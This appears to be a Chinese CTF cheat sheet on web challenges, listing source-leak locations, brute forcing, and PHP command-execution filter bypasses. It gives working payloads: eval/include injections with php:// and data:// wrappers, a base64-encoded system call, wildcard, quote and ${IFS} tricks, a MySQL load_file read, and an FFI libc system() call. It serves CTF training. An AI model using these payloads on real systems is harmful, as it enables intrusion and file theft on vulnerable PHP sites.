信息收集
- 源代码
- 响应包
- robots协议
- phps文件泄露
- www.zip代码泄露
- git代码泄露
- svn泄露
- vim缓存,第一次 .swp,第二次 .swo,第三次 .swn
- cookie
- dns TXT记录
- 环境默认账号密码
- PHP探针
- mdb文件( /db/db.mdb )
- 数据库备份( backup.sql )
爆破
- 弱口令
- 子域名
- 目录/文件
命令执行
关键字绕过
通配符
- ? 如:fla???
-
- 如:fla*
- 如:fla*
单双引号
- ‘’ 如:fla’'g.php
- “” 如:flag.p""hp
函数
- include 如:include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
- require 与include几乎一样
- require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含
- eval 如:eval($_GET[1]);&1=system(‘nl flag.php’);
函数绕过
system
passthru
exec
shell_exec
popen
proc_open
pcntl_exec
反引号
``等同于shell_exec()
cat绕过
more
less
tac
cat
tail
nl
od
vi
vim
与 vi差不多
sort
uniq
file
- 使用file -f使其报错出内容
grep
- 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
高亮文件绕过
- highlight_file(next(array_reverse(scandir(dirname(FILE)))));
- show_source(next(array_reverse(scandir(pos(localeconv())))));
分号
include可以不需要分号,可以用?>代替分号
如:include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
如:include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
如:include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
/dev/null 2>&1
/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
可以使用截断
- %0a
- %26
- ||
空格
- %09
- <
- ${IFS}
获取文件路径
- print_r(scandir(dirname(‘FILE’)));
- $a=new DirectoryIterator(‘glob:///*’);foreach($a as $f){echo($f->__toString()." ");}
- $a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . “
”; }; - print_r(scandir(’./’));
读取文件
- echo file_get_contents(“filename”);
- readfile(“filename”);
- var_dump(file(‘filename’));
- print_r(file(‘filename’));
- fopen
-
fread()
-
fgets()如:fopen(“flag.php”,“r”);while (!feof($a)) {$line = fgets($a);echo $line;}
-
fgetc()如:fopen(“flag.php”,“r”);while (!feof($a)) {$line = fgetc($a);echo $line;}
-
fgetss()
-
fgetcsv()如:fopen(“flag.php”,“r”);while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
-
gpassthru()
-
通过复制重命名文件
如:copy(“flag.php”,“flag.txt”); rename(“flag.php”,“flag.txt”);
mysql load_file读取
try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
FFI拓展
$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();